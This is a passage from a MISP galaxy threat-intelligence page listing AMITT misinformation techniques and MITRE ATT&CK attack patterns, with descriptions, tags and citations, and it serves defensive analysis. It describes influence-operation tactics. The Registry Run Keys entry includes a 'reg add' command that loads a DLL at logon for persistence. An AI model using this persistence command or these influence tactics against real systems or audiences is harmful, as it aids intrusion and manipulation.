The tag is: misp-galaxy:amitt-misinformation-pattern="Dedicated channels disseminate information pollution"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0056.md |
Organise remote rallies and events
Coordinate and promote real-world events across media platforms, e.g. rallies, protests, gatherings in support of incident narratives. Example: Facebook groups/pages coordinate/more divisive/polarizing groups and actvities into the public space. (Example) Mueller’s report, highlights, the IRA organized political rallies in the U.S. using social media starting in 2015 and continued to coordinate rallies after the 2016 election
The tag is: misp-galaxy:amitt-misinformation-pattern="Organise remote rallies and events"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0057.md |
Legacy web content
Make incident content visible for a long time, e.g. by exploiting platform terms of service, or placing it where it’s hard to remove or unlikely to be removed.
The tag is: misp-galaxy:amitt-misinformation-pattern="Legacy web content"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0058.md |
Play the long game
The tag is: misp-galaxy:amitt-misinformation-pattern="Play the long game"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0059.md |
Continue to amplify
The tag is: misp-galaxy:amitt-misinformation-pattern="Continue to amplify"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0060.md |
Sell merchandising
Sell hats, t-shirts, flags and other branded content that’s designed to be seen in the real world
The tag is: misp-galaxy:amitt-misinformation-pattern="Sell merchandising"
Links |
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0061.md |
Attack Pattern
ATT&CK tactic.
Attack Pattern is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
-
MITRE
Test ability to evade automated mobile application security analysis performed by app stores - T1393
Many mobile devices are configured to only allow applications to be installed from the mainstream vendor app stores (e.g., Apple App Store and Google Play Store). An adversary can submit multiple code samples to these stores deliberately designed to probe the stores' security analysis capabilities, with the goal of determining effective techniques to place malicious applications in the stores that could then be delivered to targeted devices. (Citation: Android Bouncer) (Citation: Adventures in BouncerLand) (Citation: Jekyll on iOS) (Citation: Fruit vs Zombies)
The tag is: misp-galaxy:mitre-attack-pattern="Test ability to evade automated mobile application security analysis performed by app stores - T1393"
Links |
Choose pre-compromised mobile app developer account credentials or signing keys - T1391
The adversary can use account credentials or signing keys of an existing mobile app developer to publish malicious updates of existing mobile apps to an application store, or to abuse the developer’s identity and reputation to publish new malicious apps. Many mobile devices are configured to automatically install new versions of already-installed apps. (Citation: Fraudenlent Apps Stolen Dev Credentials)
The tag is: misp-galaxy:mitre-attack-pattern="Choose pre-compromised mobile app developer account credentials or signing keys - T1391"
Links |
Enumerate externally facing software applications technologies, languages, and dependencies - T1261
Software applications will be built using different technologies, languages, and dependencies. This information may reveal vulnerabilities or opportunities to an adversary. (Citation: CommonApplicationAttacks) (Citation: WebApplicationSecurity) (Citation: SANSTop25)
The tag is: misp-galaxy:mitre-attack-pattern="Enumerate externally facing software applications technologies, languages, and dependencies - T1261"
Links |
Obtain Apple iOS enterprise distribution key pair and certificate - T1392
The adversary can obtain an Apple iOS enterprise distribution key pair and certificate and use it to distribute malicious apps directly to Apple iOS devices without the need to publish the apps to the Apple App Store (where the apps could potentially be detected). (Citation: Apple Developer Enterprise Porgram Apps) (Citation: Fruit vs Zombies) (Citation: WIRELURKER) (Citation: Sideloading Change)
The tag is: misp-galaxy:mitre-attack-pattern="Obtain Apple iOS enterprise distribution key pair and certificate - T1392"
Links |
Analyze social and business relationships, interests, and affiliations - T1295
Social media provides insight into the target’s affiliations with groups and organizations. Certification information can explain their technical associations and professional associations. Personal information can provide data for exploitation or even blackmail. (Citation: Scasny2015)
The tag is: misp-galaxy:mitre-attack-pattern="Analyze social and business relationships, interests, and affiliations - T1295"
Links |
Install and configure hardware, network, and systems - T1336
An adversary needs the necessary skills to set up procured equipment and software to create their desired infrastructure. (Citation: KasperskyRedOctober)
The tag is: misp-galaxy:mitre-attack-pattern="Install and configure hardware, network, and systems - T1336"
Links |
Compromise 3rd party or closed-source vulnerability/exploit information - T1354
There is usually a delay between when a vulnerability or exploit is discovered and when it is made public. An adversary may target the systems of those known to research vulnerabilities in order to gain that knowledge for use during a different attack. (Citation: TempertonDarkHotel)
The tag is: misp-galaxy:mitre-attack-pattern="Compromise 3rd party or closed-source vulnerability/exploit information - T1354"
Links |
Discover new exploits and monitor exploit-provider forums - T1350
An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. The adversary may need to discover new exploits when existing exploits are no longer relevant to the environment they are trying to compromise. An adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. (Citation: EquationQA)
The tag is: misp-galaxy:mitre-attack-pattern="Discover new exploits and monitor exploit-provider forums - T1350"
Links |
https://www.threatminer.org/_reports/2015/Equation_group_questions_and_answers.pdf |
Acquire and/or use 3rd party software services - T1330
A wide variety of 3rd party software services are available (e.g., [Twitter](https://twitter.com), [Dropbox](https://www.dropbox.com), [GoogleDocs](https://www.google.com/docs/about)). Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LOWBALL2015)
The tag is: misp-galaxy:mitre-attack-pattern="Acquire and/or use 3rd party software services - T1330"
Acquire and/or use 3rd party software services - T1330 has relationships with:
-
related-to: misp-galaxy:mitre-attack-pattern="Acquire and/or use 3rd party software services - T1308" with estimative-language:likelihood-probability="almost-certain"
Links |
Acquire and/or use 3rd party infrastructure services - T1307
A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available. Additionally botnets are available for rent or purchase. Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LUCKYCAT2012)
The tag is: misp-galaxy:mitre-attack-pattern="Acquire and/or use 3rd party infrastructure services - T1307"
Acquire and/or use 3rd party infrastructure services - T1307 has relationships with:
-
related-to: misp-galaxy:mitre-attack-pattern="Acquire and/or use 3rd party infrastructure services - T1329" with estimative-language:likelihood-probability="almost-certain"
Links |
Acquire and/or use 3rd party software services - T1308
A wide variety of 3rd party software services are available (e.g., [Twitter](https://twitter.com), [Dropbox](https://www.dropbox.com), [GoogleDocs](https://www.google.com/docs/about)). Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LUCKYCAT2012) (Citation: Nemucod Facebook)
The tag is: misp-galaxy:mitre-attack-pattern="Acquire and/or use 3rd party software services - T1308"
Acquire and/or use 3rd party software services - T1308 has relationships with:
-
related-to: misp-galaxy:mitre-attack-pattern="Acquire and/or use 3rd party software services - T1330" with estimative-language:likelihood-probability="almost-certain"
Links |
Test signature detection for file upload/email filters - T1361
An adversary can test their planned method of attack against existing security products such as email filters or intrusion detection sensors (IDS). (Citation: WiredVirusTotal)
The tag is: misp-galaxy:mitre-attack-pattern="Test signature detection for file upload/email filters - T1361"
Links |
Acquire and/or use 3rd party infrastructure services - T1329
A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available. Additionally botnets are available for rent or purchase. Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: TrendmicroHideoutsLease)
The tag is: misp-galaxy:mitre-attack-pattern="Acquire and/or use 3rd party infrastructure services - T1329"
Acquire and/or use 3rd party infrastructure services - T1329 has relationships with:
-
related-to: misp-galaxy:mitre-attack-pattern="Acquire and/or use 3rd party infrastructure services - T1307" with estimative-language:likelihood-probability="almost-certain"
Links |
Acquire or compromise 3rd party signing certificates - T1310
Code signing is the process of digitally signing executables or scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Users may trust a signed piece of code more than an unsigned piece of code even if they don’t know who issued the certificate or who the author is. (Citation: Adobe Code Signing Cert)
The tag is: misp-galaxy:mitre-attack-pattern="Acquire or compromise 3rd party signing certificates - T1310"
Acquire or compromise 3rd party signing certificates - T1310 has relationships with:
-
related-to: misp-galaxy:mitre-attack-pattern="Acquire or compromise 3rd party signing certificates - T1332" with estimative-language:likelihood-probability="almost-certain"
Links |
Abuse Device Administrator Access to Prevent Removal - T1401
A malicious application can request Device Administrator privileges. If the user grants the privileges, the application can take steps to make its removal more difficult.
The tag is: misp-galaxy:mitre-attack-pattern="Abuse Device Administrator Access to Prevent Removal - T1401"
Links |
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-22.html |
Compromise 3rd party infrastructure to support delivery - T1312
Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it for some or all of the attack cycle. (Citation: WateringHole2014) (Citation: FireEye Operation SnowMan)
The tag is: misp-galaxy:mitre-attack-pattern="Compromise 3rd party infrastructure to support delivery - T1312"
Compromise 3rd party infrastructure to support delivery - T1312 has relationships with:
-
related-to: misp-galaxy:mitre-attack-pattern="Compromise 3rd party infrastructure to support delivery - T1334" with estimative-language:likelihood-probability="almost-certain"
Links |
Acquire or compromise 3rd party signing certificates - T1332
Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Users may trust a signed piece of code more than an unsigned piece of code even if they don’t know who issued the certificate or who the author is. (Citation: DiginotarCompromise)
The tag is: misp-galaxy:mitre-attack-pattern="Acquire or compromise 3rd party signing certificates - T1332"
Acquire or compromise 3rd party signing certificates - T1332 has relationships with:
-
related-to: misp-galaxy:mitre-attack-pattern="Acquire or compromise 3rd party signing certificates - T1310" with estimative-language:likelihood-probability="almost-certain"
Links |
Compromise 3rd party infrastructure to support delivery - T1334
Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it for some or all of the attack cycle. (Citation: WateringHole2014) (Citation: FireEye Operation SnowMan)
The tag is: misp-galaxy:mitre-attack-pattern="Compromise 3rd party infrastructure to support delivery - T1334"
Compromise 3rd party infrastructure to support delivery - T1334 has relationships with:
-
related-to: misp-galaxy:mitre-attack-pattern="Compromise 3rd party infrastructure to support delivery - T1312" with estimative-language:likelihood-probability="almost-certain"
Links |
Human performs requested action of physical nature - T1385
This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.
Through social engineering or other methods, an adversary can get users to perform physical actions that provide access to an adversary. This could include providing a password over the phone or inserting a 'found' CD or USB into a system. (Citation: AnonHBGary) (Citation: CSOInsideOutside)
The tag is: misp-galaxy:mitre-attack-pattern="Human performs requested action of physical nature - T1385"
Links |
Abuse of iOS Enterprise App Signing Key - T1445
An adversary could abuse an iOS enterprise app signing key (intended for enterprise in-house distribution of apps) to sign malicious iOS apps so that they can be installed on iOS devices without the app needing to be published on Apple’s App Store. For example, Xiao describes use of this technique in (Citation: Xiao-iOS).
Detection: iOS 9 and above typically requires explicit user consent before allowing installation of applications signed with enterprise distribution keys rather than installed from Apple’s App Store.
Platforms: iOS
The tag is: misp-galaxy:mitre-attack-pattern="Abuse of iOS Enterprise App Signing Key - T1445"
Abuse of iOS Enterprise App Signing Key - T1445 has relationships with:
-
revoked-by: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
Links |
Deliver Malicious App via Authorized App Store - T1475
Malicious applications are a common attack vector used by adversaries to gain a presence on mobile devices. Mobile devices often are configured to allow application installation only from an authorized app store (e.g., Google Play Store or Apple App Store). An adversary may seek to place a malicious application in an authorized app store, enabling the application to be installed onto targeted devices.
App stores typically require developer registration and use vetting techniques to identify malicious applications. Adversaries may use these techniques against app store defenses:
-
[Download New Code at Runtime](https://attack.mitre.org/techniques/T1407)
-
[Obfuscated Files or Information](https://attack.mitre.org/techniques/T1406)
Adversaries may also seek to evade vetting by placing code in a malicious application to detect whether it is running in an app analysis environment and, if so, avoid performing malicious actions while under analysis. (Citation: Petsas) (Citation: Oberheide-Bouncer) (Citation: Percoco-Bouncer) (Citation: Wang)
Adversaries may also use fake identities, payment cards, etc., to create developer accounts to publish malicious applications to app stores. (Citation: Oberheide-Bouncer)
Adversaries may also use control of a target’s Google account to use the Google Play Store’s remote installation capability to install apps onto the Android devices associated with the Google account. (Citation: Oberheide-RemoteInstall) (Citation: Konoth) (Only applications that are available for download through the Google Play Store can be remotely installed using this technique.)
The tag is: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Authorized App Store - T1475"
Device Unlock Code Guessing or Brute Force - T1459
An adversary could make educated guesses of the device lock screen’s PIN/password (e.g., commonly used values, birthdays, anniversaries) or attempt a dictionary or brute force attack against it. Brute force attacks could potentially be automated (Citation: PopSci-IPBox).
Platforms: Android, iOS
The tag is: misp-galaxy:mitre-attack-pattern="Device Unlock Code Guessing or Brute Force - T1459"
Device Unlock Code Guessing or Brute Force - T1459 has relationships with:
-
revoked-by: misp-galaxy:mitre-attack-pattern="Lockscreen Bypass - T1461" with estimative-language:likelihood-probability="almost-certain"
Links |
Assign KITs, KIQs, and/or intelligence requirements - T1238
Once generated, Key Intelligence Topics (KITs), Key Intelligence Questions (KIQs), and/or intelligence requirements are assigned to applicable agencies and/or personnel. For example, an adversary may decide nuclear energy requirements should be assigned to a specific organization based on their mission. (Citation: AnalystsAndPolicymaking) (Citation: JP2-01)
The tag is: misp-galaxy:mitre-attack-pattern="Assign KITs, KIQs, and/or intelligence requirements - T1238"
Links |
Assess current holdings, needs, and wants - T1236
Analysts assess current information available against requirements that outline needs and wants as part of the research baselining process to begin satisfying a requirement. (Citation: CyberAdvertisingChar) (Citation: CIATradecraft) (Citation: ForensicAdversaryModeling) (Citation: CyberAdversaryBehavior)
The tag is: misp-galaxy:mitre-attack-pattern="Assess current holdings, needs, and wants - T1236"
Links |
Submit KITs, KIQs, and intelligence requirements - T1237
Once they have been created, intelligence requirements, Key Intelligence Topics (KITs), and Key Intelligence Questions (KIQs) are submitted into a central management system. (Citation: ICD204) (Citation: KIT-Herring)
The tag is: misp-galaxy:mitre-attack-pattern="Submit KITs, KIQs, and intelligence requirements - T1237"
Links |
Common, high volume protocols and software - T1321
Certain types of traffic (e.g., Twitter14, HTTP) are more commonly used than others. Utilizing more common protocols and software may make an adversary’s traffic more difficult to distinguish from legitimate traffic. (Citation: symantecNITRO)
The tag is: misp-galaxy:mitre-attack-pattern="Common, high volume protocols and software - T1321"
Links |
Non-traditional or less attributable payment options - T1316
Using alternative payment options allows an adversary to hide their activities. Options include crypto currencies, barter systems, pre-paid cards or shell accounts. (Citation: Goodin300InBitcoins)
The tag is: misp-galaxy:mitre-attack-pattern="Non-traditional or less attributable payment options - T1316"
Links |
Choose pre-compromised persona and affiliated accounts - T1343
For attacks incorporating social engineering the utilization of an on-line persona is important. Utilizing an existing persona with compromised accounts may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. (Citation: AnonHBGary) (Citation: Hacked Social Media Accounts)
The tag is: misp-galaxy:mitre-attack-pattern="Choose pre-compromised persona and affiliated accounts - T1343"
Links |
Malicious or Vulnerable Built-in Device Functionality - T1473
The mobile device could contain built-in functionality with malicious behavior or exploitable vulnerabilities. An adversary could deliberately insert and take advantage of the malicious behavior or could exploit inadvertent vulnerabilities. In many cases, it is difficult to be certain whether exploitable functionality is due to malicious intent or simply an inadvertent mistake.
Platforms: Android, iOS
The tag is: misp-galaxy:mitre-attack-pattern="Malicious or Vulnerable Built-in Device Functionality - T1473"
Malicious or Vulnerable Built-in Device Functionality - T1473 has relationships with:
-
revoked-by: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1474" with estimative-language:likelihood-probability="almost-certain"
Links |
Identify vulnerabilities in third-party software libraries - T1389
Many applications use third-party software libraries, often without full knowledge of the behavior of the libraries by the application developer. For example, mobile applications often incorporate advertising libraries to generate revenue for the application developer. Vulnerabilities in these third-party libraries could potentially be exploited in any application that uses the library, and even if the vulnerabilities are fixed, many applications may still use older, vulnerable versions of the library. (Citation: Flexera News Vulnerabilities) (Citation: Android Security Review 2015) (Citation: Android Multidex RCE)
The tag is: misp-galaxy:mitre-attack-pattern="Identify vulnerabilities in third-party software libraries - T1389"
Links |
Registry Run Keys / Startup Folder - T1060
Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account’s associated permissions level.
The following run keys are created by default on Windows systems: * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run</code> * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce</code> * <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run</code> * <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce</code>
The <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx</code> is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. (Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: <code>reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll"</code> (Citation: Oddvar Moe RunOnceEx Mar 2018)
The following Registry keys can be used to set startup folder items for persistence: * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders</code> * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders</code> * <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders</code> * <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders</code>
The following Registry keys can control automatic startup of services during boot: * <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce</code> * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce</code> * <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices</code> * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices</code>
Using policy settings to specify startup programs creates corresponding values in either of two Registry keys: * <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run</code> * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run</code>
The Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit</code> and <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell</code> subkeys can automatically launch programs.
Programs listed in the load value of the registry key <code>HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows</code> run when any user logs on.
By default, the multistring BootExecute value of the registry key <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager</code> is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.
Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.
The tag is: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060"
Exploit SS7 to Redirect Phone Calls/SMS - T1449
An adversary could exploit signaling system vulnerabilities to redirect calls or text messages (SMS) to a phone number under the attacker’s control. The adversary could then act as a man-in-the-middle to intercept or manipulate the communication. (Citation: Engel-SS7) (Citation: Engel-SS7-2008) (Citation: 3GPP-Security) (Citation: Positive-SS7) (Citation: CSRIC5-WG10-FinalReport) Interception of SMS messages could enable adversaries to obtain authentication codes used for multi-factor authentication(Citation: TheRegister-SS7).
The tag is: misp-galaxy:mitre-attack-pattern="Exploit SS7 to Redirect Phone Calls/SMS - T1449"
Links |
https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-37.html |
https://berlin.ccc.de/tobias/31c3-ss7-locate-track-manipulate.pdf[https://berlin.ccc.de/tobias/31c3-ss7-locate-track-manipulate.pdf] |
http://www.3gpp.org/ftp/tsg_sa/wg3_security/_specs/33900-120.pdf |
https://www.ptsecurity.com/upload/ptcom/PT-SS7-AD-Data-Sheet-eng.pdf |
https://www.theregister.co.uk/2017/05/03/hackers_fire_up_ss7_flaw/ |
Exfiltration Over Command and Control Channel - T1041
Data exfiltration is performed over the Command and Control channel. Data is encoded into the normal communications channel using the same protocol as command and control communications.
The tag is: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041"
Links |
Assess security posture of physical locations - T1302
Physical access may be required for certain types of adversarial actions. (Citation: CyberPhysicalAssessment) (Citation: CriticalInfrastructureAssessment)
The tag is: misp-galaxy:mitre-attack-pattern="Assess security posture of physical locations - T1302"
Links |
Determine domain and IP address space - T1250
Domain Names are the human readable names used to represent one or more IP addresses. IP addresses are the unique identifier of computing devices on a network. Both pieces of information are valuable to an adversary who is looking to understand the structure of a network. (Citation: RSA-APTRecon)
The tag is: misp-galaxy:mitre-attack-pattern="Determine domain and IP address space - T1250"
Links |
Research visibility gap of security vendors - T1290
If an adversary can identify which security tools a victim is using they may be able to identify ways around those tools. (Citation: CrowdStrike Putter Panda)
The tag is: misp-galaxy:mitre-attack-pattern="Research visibility gap of security vendors - T1290"
Links |
http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf |
Exploit SS7 to Track Device Location - T1450
An adversary could exploit signaling system vulnerabilities to track the location of mobile devices. (Citation: Engel-SS7) (Citation: Engel-SS7-2008) (Citation: 3GPP-Security) (Citation: Positive-SS7) (Citation: CSRIC5-WG10-FinalReport)
The tag is: misp-galaxy:mitre-attack-pattern="Exploit SS7 to Track Device Location - T1450"
Links |
https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-38.html |
https://berlin.ccc.de/tobias/31c3-ss7-locate-track-manipulate.pdf[https://berlin.ccc.de/tobias/31c3-ss7-locate-track-manipulate.pdf] |
http://www.3gpp.org/ftp/tsg_sa/wg3_security/_specs/33900-120.pdf |
https://www.ptsecurity.com/upload/ptcom/PT-SS7-AD-Data-Sheet-eng.pdf |
Access Sensitive Data in Device Logs - T1413
On versions of Android prior to 4.1, an adversary may use a malicious application that holds the READ_LOGS permission to obtain private keys, passwords, other credentials, or other sensitive data stored in the device’s system log. On Android 4.1 and later, an adversary would need to attempt to perform an operating system privilege escalation attack to be able to access the log.
The tag is: misp-galaxy:mitre-attack-pattern="Access Sensitive Data in Device Logs - T1413"
Links |
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-3.html |
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html |
Stolen Developer Credentials or Signing Keys - T1441
An adversary could steal developer account credentials on an app store and/or signing keys to publish malicious updates to existing Android or iOS apps, or to abuse the developer’s identity and reputation to publish new malicious applications. For example, Infoworld describes this technique and suggests mitigations in (Citation: Infoworld-Appstore).
Detection: Developers can regularly scan (or have a third party scan on their behalf) the app stores for presence of unauthorized apps that were submitted using the developer’s identity.
Platforms: Android, iOS
The tag is: misp-galaxy:mitre-attack-pattern="Stolen Developer Credentials or Signing Keys - T1441"
Stolen Developer Credentials or Signing Keys - T1441 has relationships with:
-
revoked-by: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Authorized App Store - T1475" with estimative-language:likelihood-probability="almost-certain"
Links |
Component Object Model and Distributed COM - T1175
Adversaries may use the Windows Component Object Model (COM) and Distributed Component Object Model (DCOM) for local code execution or to execute on remote systems as part of lateral movement.
COM is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) DCOM is transparent middleware that extends the functionality of Component Object Model (COM) (Citation: Microsoft COM) beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)
Permissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry. (Citation: Microsoft COM ACL)(Citation: Microsoft Process Wide Com Keys)(Citation: Microsoft System Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.
Adversaries may abuse COM for local command and/or payload execution. Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and VBScript.(Citation: Microsoft COM) Specific COM objects also exists to directly perform functions beyond code execution, such as creating a [Scheduled Task](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors such as Privilege Escalation and Persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)
Adversaries may use DCOM for lateral movement. Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents (Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1173) (DDE) execution directly through a COM created instance of a Microsoft Office application (Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.
The tag is: misp-galaxy:mitre-attack-pattern="Component Object Model and Distributed COM - T1175"
Develop social network persona digital footprint - T1342
Both newly built personas and pre-compromised personas may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos. (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage) (Citation: RobinSageInterview)
The tag is: misp-galaxy:mitre-attack-pattern="Develop social network persona digital footprint - T1342"
Links |
Assess vulnerability of 3rd party vendors - T1298
Once a 3rd party vendor has been identified as being of interest it can be probed for vulnerabilities just like the main target would be. (Citation: Zetter2015Threats) (Citation: WSJTargetBreach)
The tag is: misp-galaxy:mitre-attack-pattern="Assess vulnerability of 3rd party vendors - T1298"
Links |
Manipulate App Store Rankings or Ratings - T1452
An adversary could use access to a compromised device’s credentials to attempt to manipulate app store rankings or ratings by triggering application downloads or posting fake reviews of applications. This technique likely requires privileged access (a rooted or jailbroken device).
The tag is: misp-galaxy:mitre-attack-pattern="Manipulate App Store Rankings or Ratings - T1452"
Links |
Acquire OSINT data sets and information - T1247
Open source intelligence (OSINT) is intelligence gathered from publicly available sources. This can include both information gathered on-line, such as from search engines, as well as in the physical world. (Citation: RSA-APTRecon)
The tag is: misp-galaxy:mitre-attack-pattern="Acquire OSINT data sets and information - T1247"
Acquire OSINT data sets and information - T1247 has relationships with:
-
related-to: misp-galaxy:mitre-attack-pattern="Acquire OSINT data sets and information - T1277" with estimative-language:likelihood-probability="almost-certain"
-
related-to: misp-galaxy:mitre-attack-pattern="Acquire OSINT data sets and information - T1266" with estimative-language:likelihood-probability="almost-certain"
Links |
Acquire OSINT data sets and information - T1266
Open source intelligence (OSINT) provides free, readily available information about a target while providing the target no indication they are of interest. Such information can assist an adversary in crafting a successful approach for compromise. (Citation: RSA-APTRecon)
The tag is: misp-galaxy:mitre-attack-pattern="Acquire OSINT data sets and information - T1266"
Acquire OSINT data sets and information - T1266 has relationships with:
-
related-to: misp-galaxy:mitre-attack-pattern="Acquire OSINT data sets and information - T1277" with estimative-language:likelihood-probability="almost-certain"
-
related-to: misp-galaxy:mitre-attack-pattern="Acquire OSINT data sets and information - T1247" with estimative-language:likelihood-probability="almost-certain"
Links |
Acquire OSINT data sets and information - T1277
Data sets can be anything from Security Exchange Commission (SEC) filings to public phone numbers. Many datasets are now either publicly available for free or can be purchased from a variety of data vendors. Open source intelligence (OSINT) is intelligence gathered from publicly available sources. This can include both information gathered on-line as well as in the physical world. (Citation: SANSThreatProfile) (Citation: Infosec-osint) (Citation: isight-osint)
The tag is: misp-galaxy:mitre-attack-pattern="Acquire OSINT data sets and information - T1277"
Acquire OSINT data sets and information - T1277 has relationships with:
-
related-to: misp-galaxy:mitre-attack-pattern="Acquire OSINT data sets and information - T1266" with estimative-language:likelihood-probability="almost-certain"
-
related-to: misp-galaxy:mitre-attack-pattern="Acquire OSINT data sets and information - T1247" with estimative-language:likelihood-probability="almost-certain"
Links |
Assess opportunities created by business deals - T1299
During mergers, divestitures, or other period of change in joint infrastructure or business processes there may be an opportunity for exploitation. During this type of churn, unusual requests, or other non standard practices may not be as noticeable. (Citation: RossiMergers) (Citation: MeidlHealthMergers)
The tag is: misp-galaxy:mitre-attack-pattern="Assess opportunities created by business deals - T1299"
Links |
SSL certificate acquisition for trust breaking - T1338
Fake certificates can be acquired by legal process or coercion. Or, an adversary can trick a Certificate Authority into issuing a certificate. These fake certificates can be used as a part of Man-in-the-Middle attacks. (Citation: SubvertSSL)
The tag is: misp-galaxy:mitre-attack-pattern="SSL certificate acquisition for trust breaking - T1338"
Links |
Identify resources required to build capabilities - T1348
As with legitimate development efforts, different skill sets may be required for different phases of an attack. The skills needed may be located in house, can be developed, or may need to be contracted out. (Citation: APT1)
The tag is: misp-galaxy:mitre-attack-pattern="Identify resources required to build capabilities - T1348"
Links |
Hardware or software supply chain implant - T1365
During production and distribution, the placement of software, firmware, or a CPU chip in a computer, handheld, or other electronic device that enables an adversary to gain illegal entrance. (Citation: McDRecall) (Citation: SeagateMaxtor)
The tag is: misp-galaxy:mitre-attack-pattern="Hardware or software supply chain implant - T1365"
Links |
Test malware in various execution environments - T1357
